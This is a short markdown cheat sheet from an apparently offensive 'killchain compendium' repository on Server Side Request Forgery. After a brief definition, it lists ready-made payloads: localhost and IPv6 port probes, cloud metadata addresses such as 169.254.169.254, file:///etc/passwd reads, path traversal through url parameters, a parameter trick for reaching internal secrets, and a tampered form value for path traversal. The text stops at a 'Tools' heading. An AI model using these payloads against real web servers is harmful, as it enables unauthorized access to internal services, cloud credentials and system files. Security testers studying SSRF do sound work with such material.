killchain-compendium/exploit/web/ssrf/ssrf.md

2.0 KiB

Server Side Request Forgery (SSRF)

is a vulnerability in web applications whereby an attacker can make further HTTP requests through the server. An attacker can make use of this vulnerability to communicate with any internal services on the server's network which are generally protected by firewalls. The attack can either be blind or data is returned to the attacker dire tly.

Usage

Sanity Test Service

Test if input is sanitized by exploiting function. Here it is IP:PORT finding service. Test for localhost ports.

http://127.0.0.1:3306
http://localhost:5432
http://0.0.0.0:53
  • IPv6
http://[::]:3306
http://:::3006
  • Cloud info in Link Local IP range 169.254.0.0/16
169.254.169.254 --> AWS info
169.254.169.253 --> DNS AWS VPC
169.254.169.123 --> Stratum 3 NTP
127.0.0.1:53    --> systemd DNS

Reading files

file:///etc/passwd

Request Forgery through GET parameters

  • Request app server through parameter
http://<ssrf-Server>/?url=http://<AppServer>/secret/url
  • Request remote resources, or path traversal on remote resource
http://<ssrf-Server>/?url=/item?id=42
http://<ssrf-Server>/?url=../../etc/passwd
  • Request subdomain URL and cut following unnecessary parameters through &x=&id=42. Parameter x does not exist. So, it will be ignored
http://<ssrf-Server>/?url=db.test.com/shop/item?secret=key&x=&id=42

HTML Form

User input through POST form on websites may open files (other MIME types) from server resources. Updating the path reference may yield unintended file content.

<input type="radio" name="avatar" value="assets/avatars/6.png">

This may be used for path traversal

<input type="radio" name="avatar" value="x/../private">

Check return value of the form for result.

Tools